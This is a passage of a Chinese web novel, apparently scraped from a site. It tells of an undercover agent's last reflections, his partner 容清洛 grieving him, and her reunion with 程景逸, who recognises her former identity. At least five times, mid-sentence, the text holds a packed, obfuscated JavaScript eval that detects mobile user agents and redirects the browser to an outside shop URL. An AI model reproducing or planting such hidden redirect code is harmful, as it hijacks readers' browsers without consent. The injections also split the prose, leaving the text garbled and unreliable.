“你看，到最终，我们也只不过是为了向自己证明，自己所走的这条路，没错。” 晏行铮：“坚持信仰的人，有时候确实并不能确定自己的坚持是否正确。” “有这种疑惑其实很正常，因为现实往往与理想相悖。” “但是很多时候，所坚守的信仰，确确实实是支撑我们走下去的唯一力量。” 李格：“不强迫自己抓住这条救命稻草，怎么坚持的下来呢？” “只是，我希望，我一边走，一边能看见上苍降下一点启示，给予我信心，增强我勇气，让我能毫不迟疑地说出——我所坚持的信仰是对的。” 晏行铮：“但是——” “如果只有降下启示，降下神迹，降下天道公义白纸黑字的法则，才能去相信，去坚定，去信仰。” “这就不是真正的相信，不是真正的坚定，不是真正的信仰。” 李格：“因为不明，所以试探。” “而试探，就代表着怀疑与不信。” “你不断地试探着真理与信仰，而世界不断地试探着你是否虔诚相信。” “这简直就是一个悖论。” “你因为怀疑，而需要有人为你验证。这就不是真的相信。” “但如果没人为你验证这是真理，是正确的，你又如何相信。” 晏行铮：“所以啊，有信仰的人都是勇士。” “也许信仰的光辉从不在信仰本身。” “信仰的力量，是由那些坚定不移相信着信仰的人所赋予的。” “只有坚定信仰，九死不悔，才能创造奇迹。” “勇士拥有信仰，成为英雄，为人们验证信仰的存在。” “所以自古以来，人们都需要英雄。” “牺牲的英雄，就是信仰的旗帜。” “原来，信仰从来都不是神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586997|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。” “信仰是由勇士和英雄创造的。“ “勇士怀揣着坚定的信仰，告诉所有犹豫不决的人，告诉所有踌躇不前的人——” “虽然暗夜降临，但黎明终至，这里有一条路，请后辈诸生，坚定信念，从这里走，跟着我，我来带你们走向光明。” 听到这样一席话，李格恍若醍醐灌顶：“我好像有一点明白了。” “这哪里是信仰，这根本就是证道。” “对，坚持信仰的路，就是证道的路。” “真正拥有信仰的人，是因为先相信，之后才会具有创造奇迹的力量，才能克服人类卑劣的本性，获得超越人类脆弱躯体的强大精神力量，在不断的暴烈击打之下，在困境之中，达成目标。” “而绝不是先达成目标，才去相信。” 晏行铮：“所以现在，你还会问，我们的付出和牺牲值不值得吗？” “问还是要问的，”李格，“但是我现在有答案了。” 晏行铮：“讲讲。” 李格：“我是觉得，总需要有人来做这样的事。” “光明是需要人守护的。” “我们这些从白天走进黑夜的人，就是守护者。” “我们坚守信仰，向那些不信的人证明，这个世上有天道存在，有公理存在。” “恶人就是会受到惩罚。” “罪恶终将受到果报。” “每个人都要为自己的行为负责。” “这些本身就是由我们来捍卫的。” 晏行铮点头：“确实，这个世上，本来就是，相信的人先去做，先去完成，为那些不相信的人证明，这个世界明明可以更好。” “人类拥有几千年的文明。” “我们接受教育，我们用文明超越人类恶的本性，超脱出动物性，这才是人性的光辉所在。” “所有人类在恶的滔天洪流之下用信仰建起方舟，才能延续人类文明。” 李格：“人类的恶，源于人类本质上是蒙昧无知的。” “文明为人类揭去愚昧的面纱。” “但这样半教化、半无知的状态是最可怕的。” “人类的许多恶，人类生存的许多痛苦，就是源自于无知。” “如果我对天道有深刻的明悟，透彻的领会，我就不会迷茫，不会疑惑，我会无比坚信。” “如果这些犯罪的人知道天道之下什么是正确的、什么是错误的，就不会做出错误的选择。” “而赋予人类社会对错标准的，是文明。” “所以，在蒙昧的荒原上创造出文明的人，都是人类的勇士。” 晏行铮有感而发：“勇敢是人类在黑暗荒野上勘破一线天光的最大武器，是人类最美好的品质。” “每一个在愚昧无知的混沌荒原上开拓的人类勇士，都是至圣先师，为后来者指引方向。” “这些先驱们，敢于去相信，敢于去坚定，敢于去践行，敢于去实现。” “所以，勇士夜行，未改初心。” “做一个坚定信仰的勇士，才能踏破命运的诅咒与嘲弄，从黑夜走向黎明。” *** 谈到后来，两个人都有些醉。 明明都是为了当卧底受过专门喝酒训练的人，此时，却都醉了。 酒不醉人人自醉。 只是，身体醉了，意识却无比清晰，信仰也更加坚定。 晏行铮微阖着眼，靠在牢房的墙上，回忆他这一生。 他当了很多年卧底。 他救过许多人，那些人都在他刀口舔血的生活里渐渐淡去。 唯有一个人，有一些不一样。 一个女人。 她叫容清洛。 她还有一个名字，叫做季希。 她不想做被拯救者。 她想成为他的同伴。 真是一个很有意思的人。 她像论证数学题一样向他证明，她和他走在同一条道路上。 他被说服了。 所以容清洛，成为了他的线人。 十年。 人生有几个十年呢？ 容清洛的十六岁到二十六岁。 他的二十岁到三十岁。 他们在这条路上，相遇又重逢，重逢又相遇，最后携手同行，并肩作战，走到了终点。 可惜，这一站旅途有幸相伴，到达终点后，却各自换乘，走向下一站不同的人生。 容清洛能够回到人间。 但他，却要潜入更深的黑夜。 他们没有道别的机会。 就如同相遇，是不期而然的遇见。 分别，亦是猝不及防的分道扬镳。 晏行铮唯一觉得有些欣慰的，就是曾经通过暗号的方式，告诉了容清洛，他的名字。 只是也许，容清洛这辈子都不会发现。 衡门之下，可以自立。 他的真名，叫做，周衡立。 周衡立这辈子，大半时间都在暗夜里奋力攀登着一座又一座的巍峨高山。 他的目标和信仰都在山顶。 他的任务就是带着无数人的期望登到山顶，完成他应该做的事情。 这一路以来。 艰辛，痛苦，隐忍。 乌云笼罩。 但他矢志不渝，从未有过半分犹疑和后悔。 只是，也许是看他太苦了，天公竟然也会垂怜，送来一阵清风，吹散漆黑天幕的浓厚云雾。 皎洁的月光洒下，让他瞧见夜色下美丽动人的风景。 可他明白，看过，心动过，陪伴过，这就够了。 因为，这一趟攀登之旅，重要的从来不是攀登着的他，重要的是要有人完成这个任务。 重要的是完成，而不是完成的人。 正因为他深深地明白这件事情，所以他知道，他是没有未来的人，是也许没有机会看到天明的人。 他身上肩负着比他自己这个人本身更重要的东西，所以他自己的一切，包括情感，都要为了任务和信仰让步。 那么，就这样吧。 将士埋沙场，正是好归处。 他很满意，此生不悔，无憾。 天就要亮了，真好。 只是，下辈子，如果可以的话，就让他活在阳光之下吧。 他想做一回自己。 夜来皎月悬。 烈火岂独明。 156. 烈火独明 容清洛这辈子必须要完成的一件事，就是复仇。 她要为死去的朋友和曾经那个名为季希的自己，讨回公道。 她第一次遇见晏行铮，是十六岁，在医院。 那时她正犹豫，是否要踏上这条复仇之路。 她和晏行铮的最后一面，是二十六岁，在裕园。 她的复仇之路，曙光初现。 这样一条并不寻常的路上，他们无数次相遇和重逢。 在黑夜里潜行，有过怀疑，有过试探。 最后相互信任，并肩作战。 她赌他，也和她一样心动。 她真的以为，她和他，有未来的。 四年前，容清洛带着千辛万苦找到的林家罪证离开裕园，结束线人生涯，是晏行铮为她打的掩护。 林家落网，任务结束。 她本以为，那是新生活的开端。 谁能想到，那一别，竟是两人的最后一面。 四年后的而今，容清洛才终于有机会抱着一箱酒去墓园看晏行铮。 没想到是以这样的方式重逢。 这青山啊，为何总是埋忠骨。 当时在墓园看着墓碑上的名字，容清洛才终于知道—— 原来他叫，周衡立。 可她，还是更习惯喊他，晏先生。 她多想回到九川江边，在无名月色里，与他再饮一杯酒。 品月升，赏雪降，听他亲口告诉她—— 他真正的名字。 原来要等到他死以后，她才发现自己这么爱他。 容清洛此时才算真正明白了白居易的那句诗—— 君埋泉下泥销骨，我寄人间雪满头。 这便是初闻不知曲中意，再听已是曲中人吧。 可容清洛宁愿永远都不懂这种情感。 晏行铮留给她的那一张张漫画摊在桌上。 无限相思寄丹青，徒惹离人泪。 看着漫画中的一幕幕场景，想着阴阳两隔的爱人，容清洛低头捂住脸，崩溃地痛哭悲鸣，只想将心中那难以言表的情绪全都用哭喊和泪水洗尽。 然而那愁绪与悲恸如浪潮一般，一波平，一波起，堆积得越来越多，几乎将她溺毙其间。 想睡过去，却头疼欲裂。 容清洛喝了点酒，才终于睡熟过去。 在梦里，她似乎回到多年前，晏行铮还在世的时候。 一觉睡到下午，容清洛醒来后，在床上发呆许久。 手机备忘录的提示音响起，她才发觉自己还有一件事情没做。 容清洛仔细地将脸上的泪痕与疲惫洗去，没有化妆，只是找出一身全黑的衣服，戴好口罩与墨镜。 她开车前往的地方是叶时冉的灵堂。 她要去吊唁。 灵堂比较偏僻，位于南庐市郊外的乡村。 容清洛的车停在村外河边的公路旁。 叶时冉的父母已经去世，有关叶时冉尸骨安葬的一应事宜都由叶时冉的堂哥操持。 容清洛没什么能帮上忙的，她作为公众人物，戴着口罩，也不方便在这里露出面容，为叶时冉上香后，以老同学“季希”的身份给了一个很大的白包。 走出灵堂，天边有乌云翻卷，夏日的天极其闷热，暴雨将至。 容清洛加快步伐，踩着田埂上坑坑洼洼的土路向河边的公路走去。 从村子到公路需要经过大片的农田。 两边的田野里种着许多玉米。 容清洛莫名觉得，人和这地里的庄稼是那么相像，长一茬，收一茬，种一茬，倒一茬。 没容她惆怅许久，仿佛掌管雨的神明在某个刹那摁下开关，天河开闸放水，滂沱大雨猝不及防地从天际倾泻而下。 在容清洛即将被淋成落汤鸡的前一秒，一把黑色的长伞忽地出现在她身后，遮挡住不断砸向她的雨点。 容清洛感受到面前的阴影，回头望去。 映入眼帘的，是雨幕中男子温雅的笑脸。 她万分惊讶：“程景逸？你不是在青山镇吗，怎么会……” 不知为何，明明两人周四晚上还一起吃饭，如今才周日，当容清洛再次看见程景逸清俊挺拔的身影时，竟然生出一种恍如隔世的感觉。 倾盆雨势中，哗哗的雨滴猛烈地敲打着伞面，为二人拉起一道隔绝伞内与伞外的珠帘。 程景逸：“我在等你。” “等我？”容清洛不解，“在这里？” 程景逸：“你的车停在哪里？” 容清洛：“你为什么会在这里等我？” 雨雾弥漫的模糊世界里，水花砸在泥土中，砸在草木间，嘈杂而汹涌，遮掩住彼此的声音，问题和回复也牛头不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586998|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马嘴。 这场景有些浪漫，也有些好笑。 两人忍俊不禁，不由得在这风雨交加中相视而笑。 程景逸大声道：“这会儿雨势太大了，电闪雷鸣的，开车也不安全，我们先找个地方避雨吧。” 两人一同撑着伞，在雨中快跑起来，躲进不远处的一条长廊。 这是村上专门给村民建的休闲长廊，此时恰好为二人提供一方避雨之地。 刚刚程景逸一直将伞面向容清洛倾斜，此时他的后背已经全被淋湿。 踩上干燥的地面，程景逸收伞。 他面向容清洛，权当不知道后背的状况，见容清洛情况还好，才问道：“怎么一直不接电话？” 容清洛拿出手机，这才发现手机上有数个未接来电。 来电人的名字赫然就是程景逸。 她不好意思道：“调成静音以后忘记调回来了。你找我有事？” 程景逸从知道容清洛就是季希的那一刻起，就在找容清洛。 打电话联系不上，猜测她可能会来送叶时冉一程，昨夜辗转打听到地址后，他今天一大早便赶来灵堂，一直守在这里。 而今人就在自己眼前近在咫尺的地方，程景逸一时之间却大脑宕机，竟不知道该如何开口。 他好像只是在骤然得知故人音讯后，激动地想要见到她，却没想过，见到人以后，应该说什么。 犹豫间，只听容清洛道：“等等……” “黑色西装，黑色长伞，黑色皮鞋。” “程景逸，你穿着这一身，可不像是应该出现在这乡野间的人。” 程景逸抿唇，并未隐瞒：“我来参加葬礼。” 容清洛眸光微闪：“谁的葬礼？” 程景逸：“叶时冉。” 容清洛告诉自己，也许程景逸读高中时恰好也认识叶时冉。 为了验证这一点，她试探问道：“你和她……是什么关系？” 程景逸：“高中同学。” 容清洛：“你们是怎么认识的？” 程景逸：“其实我们不认识。” 容清洛：“那你为什么参加她的葬礼？” “因为你。”程景逸攥紧手中的伞柄，控制着手腕有些止不住的轻微颤抖，良久，喊出那声暌违已久的呼唤，“季希。” “我是来见你的。” 157. 韶华故人 其实从程景逸今天在雨中出现的那刻起，容清洛就有预感，也许程景逸已经知道她就是季希。 可当程景逸真的喊出她多年以前的名字时，容清洛还是有些不知所措。 她做了太久的容清洛，已经不知道，季希应该是什么样子的。 以前程景逸没有认出她时，她心里会有些小小的失落。 如今她已经习惯用新的身份与程景逸成为朋友，倒觉得，就这样就很好，反而不愿意再次成为程景逸记忆里的季希。 毕竟，她与以前相比，已经变化太多。 不仅仅是外貌和名字。 思及此，容清洛面上不动声色，反问道：“季希是谁？” 程景逸无奈一笑。 他拿出手机，解锁后露出之前未关闭的视频界面。 程景逸将进度条拉到一开始，重新播放：“这是我这两天一直循环倾听的一首歌曲。” 容清洛的视线落在屏幕上，发现这是她第一次开演唱会的场景。 突然想起什么，容清洛伸手要夺手机：“五年前的视频有什么好看的？” 程景逸将手举高，避开容清洛的动作，低头看向因争执而有些面色发红的她，认真道：“很好看。” 容清洛：“什么？” 程景逸：“我只是遗憾，以前从没有关注过女团和流量明星，这才错过你这么多年。” 容清洛无言以对，只能任由音乐的旋律在雨声中悠悠响起，回荡于空旷的廊下。 「冬日的单车，正月的烟花」 「你说氛围浓度有点高，我说倾盖如故心花放」 「假山，凉亭，湖水，顶楼」 「因我而入局的姑娘，请让我护你走」 「幸运单词书，廊下腊梅树」 「你说你不是温室的名花雅木」 「江中立礁石，路边生野草」 「审判作恶者，锋利水果刀」 「来一个杀一个，人间绝不白走这一遭」 「舟毁人亡，人仰船翻」 「食人草喷毒液，恶鬼通通退散」 「屠龙少年，终成恶龙」 「乖张狠辣，破碎温柔」 「浴火重生，岁月黑暗」 「冲云破雾，千锤百炼」 「顽强不屈，野蛮生长」 「奋力挣扎，勇敢对抗」 「山顶日出，神秘海底」 「镜花水月的快乐，鲲鹏扶摇九万里」 「广袤自然，广阔天地，境随心转，这世界有你存在」 「星星高悬，暗夜微茫，独属于你的锚点，对世界重新拥有期待」 「人的身体不堪一击，人的意志不可战胜，人的精神无比强大，人的生命无限力量」 「何必掩饰，何必怀疑，若无来路，去寻归途，做你自己，乘风破浪」 「苦痛是人生底色，苦难是红尘常态」 「生而为人，众生皆苦，命运何怪」 「劝卿莫踏那屠龙少年不归路」 「鲸鲨自在游弋，带你寻觅人生归处」 「你说我救你，我说你渡我」 「谁是谁的因，谁是谁的果」 「生命的奇迹，暗夜戈壁的努力」 「拯救你的一直都是你自己」 「你生命的富饶，无二且独一」 「拿起你的长刀，庆幸你不是易凋零的花」 「半身跌入深渊的你勇敢向上吧」 「潇洒快意，游历天下」 「你山水一程的风雨之路，可有我相伴」 「高山流水觅知音，坦荡洒脱肝胆照」 「愿卿磊磊沧浪行，万里乘风且逍遥」 一曲唱完，程景逸才停止播放。 他道：“这首歌的歌名是《这世界有你存在》。” “作词人那一栏写着易璟澄，倒过来就是我的名字——程景逸。” “很巧的是，当年我送过季希一首歌，歌名也叫《这世界有你存在》，并且，歌词与这首歌一模一样。” “如果你不是季希，为什么会知道这首歌的歌词？” “如果你不是季希，为什么要在演唱会上，说要把这首歌送给一个故人？” “如果你不是季希，又为何会来参加季希高中同桌的葬礼？” “你就是季希。” “你当时唱这首歌，就是在找我，是不是？” 容清洛：“我是季希如何？” “不是又如何？” “季希只是一个十五年前便死在火海里的人。” 程景逸有些哽咽：“当年是我亲手把你救出来的，我知道你还活着。” 容清洛沉默无言。 程景逸破碎地都快哭了：“是因为我来晚了，所以你才不愿意承认吗？” “对不起。” “可我真的找了你很久……” 容清洛叹气。 她转过身，盯着雨幕半晌。 就在程景逸以为容清洛不会再开口的时候，潇潇骤雨间响起她的声音：“你是怎么知道的？又是为什么而回南庐市的？” 程景逸灰败的眼神瞬间明亮起来：“你承认了，你果真就是季希。” 容清洛：“回答我的问题。” 程景逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“实际上，这并不突然。”程景逸，“这份感情，在我这里，是连贯的。” “因为这么多年来，我一直在找你。” “无论百次重逢、千次相遇，纵使你早已面目全非、改头换面，我的目光始终会被你吸引。” 他扬起手臂，袖口下落，露出腕间的红绳：“这是清静观道长开过光的红绳，我一直戴着。三年前你也得到过一条。” “我想，就是这腕间的红线，丝丝缕缕牵引着我重新遇见你。” “而必然地，我会将你刻在我心上。” “不是你的容颜，不是你的名字，而是你这个人。” 158. 韶华故人 程景逸的语调轻柔，这番剖白却饱含着格外笃定的力量。 这一刻，容清洛向雨中眺望，脑海中闪过许多念头。 雨势渐小，村中房舍的黛瓦白墙上浮起轻烟一般的朦胧雨雾。 廊前的紫薇花在刚刚的疾风骤雨中尽数飘落，堆满台阶，芭蕉却在雨水的冲刷下更显郁郁葱葱。 鸡鸣犬吠在村庄中此起彼伏地响起。 此方天地的尘埃被这一场突如其来的降水洗净。 微风送来草木的清香与远处的蝉鸣与蛙声。 这样一幅淳朴美好的田园山水图陈列在眼前，不自觉地让人身心宁静。 夏日暴雨之后的黄昏时刻。 云销雨霁，晚霞漫天。 天际恣意燃烧着的流霞与远山交相辉映，夕照壮丽绚烂，山峦苍茫深邃。 在这般场景之下，容清洛转过身，走近程景逸，盯住他的眼睛：“程景逸，你喜欢我？” 程景逸毫不犹疑道：“是。” 容清洛：“从什么时候开始的？” 程景逸：“我不知道。” “我只知道，与你分开以后，我常常会想起你。” “想起和你一起的经历，想起你和我说过的话语，想起与你有关的一切。” “我也想忘掉你的，”他摇摇头，无奈地指着自己的心口，苦笑道，“可是这里不允许。” 程景逸的话语很真挚。 容清洛因此更加困惑：“既然如此，当初为什么要离开？” “为什么把我一个人扔在医院？” “为什么一句话都没有就彻底消失？” “为什么你给的那三个号码我再打过去都是空号？” 程景逸认真解释道：“当时南庐市出了绑架案，我父亲怕我和妹妹也被绑架，强制把我们一起送出国。” “在人身安全问题上，我父亲态度很坚决，我反抗没成功，所以没来得及告知你就被送出国。” “至于电话，也是我父亲出于安全考虑把原来的号码都换掉。” “清洛，我从来没有主动丢下过你，不然我为什么要冲进火场里救你呢？” “在国外的那些年里，我一直拜托我哥哥帮我在国内找你。回国以后我也亲自去医院找过你的信息，想从中间搜寻出蛛丝马迹，但是医院根本没有关于你进行治疗的任何信息。” “就连给你做整形修复手术的严医生也已经去世，找你的线索就这么彻底断掉……” 容清洛：“你怎么会知道严医生？不是说医院没有信息吗？” 程景逸：“因为那个专家是我拜托父亲专门给你找的烧伤外科专家，提前付了一大笔医疗费，就是希望你能康复……” 容清洛：“等等——” “你是说，当初你拜托你父亲给我付了手术费？” 程景逸：“是。” “你让我捋一捋思路。”皱着眉思索半天，明白一切的容清洛突然感觉背后仿佛压着千斤顶。 她问道：“你知道严靖诚是什么人吗？你们怎么认识严靖诚的？” 程景逸回忆道：“我父亲当时托人打听，都说在烧伤整形修复领域中，南庐市最有经验的专家就是严医生，所以才找的他来给你治疗。” “我父亲不想让你有负担，就没有出面，悄悄让人替你把医疗费提前缴清了。” 容清洛的神情中露出一丝哀婉。 严靖诚确实是烧伤整形修复领域的专家，不然他不可能把她的脸修复得这么好，让她能成为靠脸吃饭的明星。 但严靖诚还有别的身份。 作为范家的人，严靖诚他别有用心。 他看中她和林家有仇，看中她当时没有钱却亟需做整形手术来修复毁容的脸，看中她年纪小好被拿捏。 于是他阳奉阴违，在程父和她之间打了一个信息差，就把她彻底坑进给范家当卧底的大坑。 这就是造化弄人吗？ 容清洛相信程景逸一直都是对她充满善意的，他本人对她有很多正面的影响。 但是他似乎总是无意间把一些对她的命运产生深远负面影响的人引到她的面前。 最初她被林晶盯上，就是因为她去程景逸班上还他伞。 她和程景逸走得近，才被林晶等人针对。 而她因为林晶在山火中被烧伤以后，程景逸托人给她找医生，最后找来的专家是把她拖入更深炼狱中的严靖诚。 但是，无可否认的是，如果没有这一步步，她也无法有如今的成就。 到底什么是因，什么是果？ 这难道就是靠近太阳的代价吗？ 太阳，有温暖，有光亮。 但是，距离太阳过近，会被太阳的温度灼伤。 太阳没有错。 有错的，是自不量力想要靠近太阳的人。 这一回，她不会再有靠近太阳的心思了。 她依然欣赏程景逸。 年少时如此，现在依然如此。 程景逸一直都是她最想成为的人。 如今，程景逸甚至完成了她一直以来的梦想。 如果没有命运的疾风迅雷与暴雨惊涛将她平静的人生彻底搅乱，程景逸现在的生活，就是她年少时最向往的状态。 容清洛一路走来，从来都是落子无悔，此时心中却也生出几分遗憾：“如果当初，你没走就好了。” 程景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587000|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸：“很抱歉，我把你弄丢了。” “可以给我一个重新认识你的机会吗？” 容清洛：“你不是本来就在重新认识我吗？世上已经再无季希，你认识容清洛，就是认识我。” 闻言，程景逸提起唇角。 然而这笑意尚未完全成形，他便听到容清洛清冷的声音：“但我有个警示要给你，表面的容清洛其实并不是真正的我。” “真正的我你不会想要认识。” “没有人会喜欢真实的我。” 她曾经是活在黑暗里的人。 能从炼狱里厮杀出来的角色，没有纯粹的好人。 容清洛强调道：“人都是会变的。” 程景逸从未被改变。 多年未见，归来他仍是那个少年。 但她经历过黑暗，早已经满心疮痍。 程景逸：“你如今对我果真一点感情都没有吗？” “那为何你会在三年前与我重逢之后给我的学校捐款呢？你捐的钱可不是小数目。” 容清洛：“我是在报恩。” “程景逸，我一直很感激上天让我在高中的时候遇见你。” “年少时，我孤苦伶仃，一无所有。” “遭遇林晶等人的针对以后，我孤军奋战，一个人挣扎，一个人承受。” “在最举步维艰的时刻，你就像寒夜里的一盏孤灯，照亮我的前路，给予我最坚定的庇佑，增强我生命的力量和勇气，燃起我的斗志，让我敢于在寒夜里永不放弃地前进。” “你这盏寒灯，为我带来光明，点燃我差点熄灭的生命之火，陪伴我走过年少时最懵懂、最艰难的岁月，让我在最有可能走岔路的时刻，生命有了回旋的余地。” “堕崖之前，你拉住了我。” “这再造之恩，清洛永世难忘。” “所以即便多年未见，我始终将你从前对我的好牢记在心。当我有余力时，我想回报这份难得的善意。” “我看见如今的你在继续为更多人点燃希望的灯火，埋下希望的火种。” “这大概就是所谓的薪火相传吧。” “我打心底里感到欣喜，并且也想为这份事业做些什么。” “你完成了我没能实现的年少梦想，熠熠生辉。” “那么，我愿意为你守护雪胎梅骨，不染俗尘。” “我身在名利场，获得诸多鲜花掌声。” “可即便在这十丈软红尘中，我拥有万里锦绣名，这些在我心里，都不及你澹泊明志、高山仰止。” “因此我愿意为你数掷千金，只为换你一笑。” “这一切不是因为我喜欢你，只是因为，你值得。” 159. 韶华故人 见程景逸有些微愣，容清洛笑起来：“其实我平常说话不会这么直接。” “可能因为和你年少时就认识了，你是一个有赤子之心的人，在你面前，我也会想要与你坦诚相待。” 程景逸的心里五味杂陈，虽有听到容清洛对他如此高评价的欣喜，但更多的却是落寞：“可即便如此，你仍然不愿意嫁给我。” 忽地，容清洛指着他的胳膊道：“你把袖子卷上去。” 程景逸照做：“怎么了？” 看着他小臂上露出的一道疤痕，容清洛问道：“这伤怎么来的？” “是当时在火场中你找到我的时候，恰好有树木因为燃烧焦枯而倾倒，你替我挡了一下，对吗？” “这要是砸在当时虚弱的我身上，我可能彻底就没了。” 程景逸：“你当时醒着？” “有一点点意识。”容清洛，“常言道，滴水之恩，涌泉相报。” “再造之恩呢？” “永世不忘。” 程景逸：“没事儿，这点伤，早就好了。” 容清洛：“怎么没好好治一下，把疤痕消除？” 程景逸：“这是这么多年，我有幸留在身边的，唯一和你有关的痕迹，我不舍得祛除。” “况且我是男子，留点伤痕没什么的。” 闻言，容清洛不是没有触动，她轻轻叹气，良久，终于在残阳的光影里缓缓道：“程景逸，我承认，我年少时真的对你动过心。” “当所有人都在往外逃，只有你冲进火海里救我，那个时刻，我就不可抑制地喜欢上你了。” “但是在我最喜欢你的时候，你消失了。” “后来发生了很多你不会想要知道的事情，现在的我早就不是你高中的时候所认识的季希。” “我们之间的问题从来不在于重逢之后你认没认出我，而在于我们两个因为后来的人生际遇太过不同，导致我们俩现在已经彻彻底底变成了完全不一样的两种人。” “也许你现在仍然觉得与我很谈得来，但那是因为你只接触到了阳面的我。” “阴暗面的我，你不会想要认识的。” “我也不会让你看到我的阴暗面，那样的局面，我无法承受。” “但是我可以坦诚地告诉你，就本质而言，我们已经大相径庭。“ “你只是对我有年少时的滤镜而已，也许你喜欢上的只是记忆里被美化的我。” “人都是会变的。” “现在的我已经不再是年少时那么单纯无害的人，我曾经长久地蛰伏于黑暗之中，我不是一个纯粹的好人。” “甚至当你认识真正的我的时候，你也许会觉得，我是一个坏人。” “所以对于你今天所说的要娶我的话，我就当没听见，你也不要再提。” “我与你想象中的样子，真的不太一样。” “你知道我这些年经历过什么，做过什么事情吗？” “一旦你有所了解，你就不会想要认识真正的我。” 她的人皮之下，全是腐烂的枯骨。 对于容清洛这番分外直白却实实在在出自真心的话，程景逸显然并不认同，他道：“我知道真正的你是什么样子。” “你知道我为什么走上当老师这条路吗？” 容清洛从善如流地问道：“那你为什么选择当老师呢？” 程景逸：“就是受到你的影响。” “你曾经告诉我，你理想的职业是成为一名老师。” “在找不到你的日子里，我不知道你是否最终如愿。” “但我希望，若有朝一日，老天垂怜，山海有情，让我们万里相逢，届时我能对你说：你年少时的愿望，我替你实现了。” 容清洛：“只有这个因素吗？” “职业选择可是你一辈子的事情，仅仅因为我，是不是有点太草率了。” “你是对你自己不负责任，还是在敷衍我？” 程景逸：“我正是因为看见了你那时的痛苦，才萌生出走上这条路的想法。” “这个世上之所以会有那么多恶，是因为，那些作恶之人是无知且愚昧的。归根结底，是没有人好好教过这些人，怎样在社会中既能够生存地很好，同时也能做一个正直善良的好人。” “成年人难以改变，对于成年人而言，生存比是非对错重要。很多人在社会中挣扎，我们不该强求他们。可孩子们是国家未来的希望，改变就要从教育开始。这是我的方式。” “我决定当一名高中老师，其实也是在弥补当年我亲眼目睹你在高中时期的悲剧、却最终仍旧失去你的痛。” “虽然我从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587001|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火场里把你的身体救了出来，但我实际上最终并未救你脱离命运。” “后来的很多年里，我一直在思考造成这般悲剧的原因，其实这也间接影响着我的教育观。” “毫不夸张地说，我的教育观念，实际上就是从你这里一脉相承地继承过来的。” “天容海色，吾本澄清。” “你现在的名字——容清洛，便是出自你当初说的这句话，对吗？” “我高中的时候就知道真正的你是什么样子了。” “我始终相信，我没有看错人。” “你现在，依旧如故。” “即便你现在不愿意答应嫁给我，我有些难过，但我的心情底色是高兴。” 容清洛：“为什么？” 程景逸：“因为能再次见到寻找了多年的故人。” “这浊世多风雪，可故人依旧。” “这难道不是一件值得开怀大笑的事情吗？” 容清洛：“我都不敢说我没变过。你这么多年未见我，又怎敢如此肯定？” “因为我有眼睛会看，有真心会感受，更因为我说过——”程景逸微顿，郑重道，“也许你不记得了，那我就在此与你再说一遍。” “不管过去如何，但是未来，在我这里，你可以获得一份毫无理由的信任，我永远不会怀疑你，并且在你需要的时刻，我会永远坚定地选择你。” “我明白你的苦衷，所以我不强求你履行当初的约定。” “但我会始终践行我对你的诺言。” “海岳尚可倾，吐诺终不移。” “我证明我对你的心，不需要你的任何回应。” 容清洛被对面之人那赤诚的目光所烫，她低下头，脚尖无意识地踢着台阶边的石子，闷声道：“你说的那都是以前的我。” “你不会想要知道现在的我究竟是怎样的人。” “我真的不是一个好人。” “我不希望你对我抱有太高期望。” “因为等你以后发现我的真实模样，你会悔恨多年时光错付。” “我们不是一个世界的人。” 程景逸：“你的世界，是怎样的世界？” “你觉得我不懂，就带我去理解，好吗？” “你不告诉我，又怎知我不会理解？” 160. 行者无畏 这天的谈话最后以容清洛唇边一抹极其浅淡且意味不明的笑意结束。 第二日，容清洛和程景逸一起坐飞机回云庆省西华市，又从市区乘坐大巴，辗转几趟交通工具回古泉县青山镇。 